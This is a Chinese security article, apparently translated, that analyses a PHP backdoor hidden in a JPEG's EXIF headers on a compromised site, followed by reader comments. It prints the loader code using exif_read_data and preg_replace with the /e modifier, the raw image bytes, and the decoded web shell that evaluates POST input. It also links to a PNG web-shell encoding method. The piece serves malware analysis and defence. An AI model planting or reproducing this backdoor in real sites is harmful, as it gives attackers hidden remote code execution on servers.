几天前,我们研究团队的 Peter Gramantik 在一个被攻破的网站上发现一个非常有趣的后门。这个后门并没有依靠正常模式去隐藏起内容(比如 base64/gzip 编码),但是它却把自己的数据隐藏在 JPEG 图片的 EXIT 头部中了。它也使用 exif_read_data 和 preg_replace 两个 PHP 函数来读取 EXIF 头部和执行。
技术细节
这个后门可分为两部分。第一部分是 exif_read_data 函数读取图片头部,preg_replace 函数来执行内容。下面是我们在被攻破网站上发现的代码:
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg'); preg_replace($exif['Make'],$exif['Model'],'');
这两个函数本身是无害滴。exif_read_data 函数常用来读取图片,preg_replace 函数是替代字符内容。不过,preg_replace 函数函数有个隐藏并微妙的选项,如果你传入 “/e”,它会执行 eval() 中的内容,就不是去查询/替代了。
所以我们在查看 bun.jpg 文件时,发现后门的第二部分:
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@ ^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^ @ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^
这个文件用以常见的头部开始,但是在 ”make” 头部中混入了奇怪的关键字 ”/.*/e” 。有了这个执行修饰符, preg_replace 会执行 eval() 中传入的任意内容。
事情变得开始有趣了……
如果咱们继续来看看 EXIF 数据,我们能发现, “eval ( base64_decode”隐藏在 ”Model“ 头部。把这些放在一起看,咱们就知道怎么回事了。攻击者是从 EXIF 中读取 Make 和 Model 头部信息,然后传入到 preg_replace 函数。只要我们修改 $exif['Make'] 和 $exif['Model'] ,就得到了最终的后门。
preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");
解码后我们可以看到是执行 $_POST["zz1"] 提供的内容。完整解码后的后面在这里。
if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
隐藏恶意软件
另外一个有意思的是,虽然 bun.jpg 和其他图片文件被修改了,但然后能加载并正常工作。实际上,在这些被攻破的站点,攻击者修改了站点上一个合法并之前就存在的图片。这是一种奇特的隐藏恶意软件的方法。
via Daniel Cid 整理校对:奇点云安全检测平台
-
....╮(╯▽╰)╭说那么复杂EXIF 不就是图片注释 说明 标题 什么的 现在渲染一样过滤
据说可以同步渲染 一定几率fuzz出
渲染后存在执行代码的图片 但未渲染前不存在执行代码的图片
例子:http://zone.wooyun.org/content/5429
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
不容错过
- 我们聚集了一批精英白帽子,然后把他们带出了国……漏洞盒子2017-03-31
- Win64bit提权0day漏洞(CVE-2014-4113)只是内核模式漏洞的开始xiaoya2014-10-22
- 2016 FreeBuf互联网安全创新大会(FIT):共探安全创新源动力FB独家2015-12-03
- 揭秘美国国安局(NSA)的利剑:获取特定情报行动办公室TAOlanlan2014-01-04
0daybank
已有 8 条评论
不错的思路~
蝌蚪文表示看不明白
才知道么?这个很早以前就有人投入使用了!
顺带求一个样本图片!
….╮(╯▽╰)╭说那么复杂EXIF 不就是图片注释 说明 标题 什么的 现在渲染一样过滤
据说可以同步渲染 一定几率fuzz出
渲染后存在执行代码的图片 但未渲染前不存在执行代码的图片
例子:http://zone.wooyun.org/content/5429
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
@anlfi 搞不懂英文。。
习惯性来看5楼的回复~~~
这个貌似需要解析漏洞吧
不然怎样激活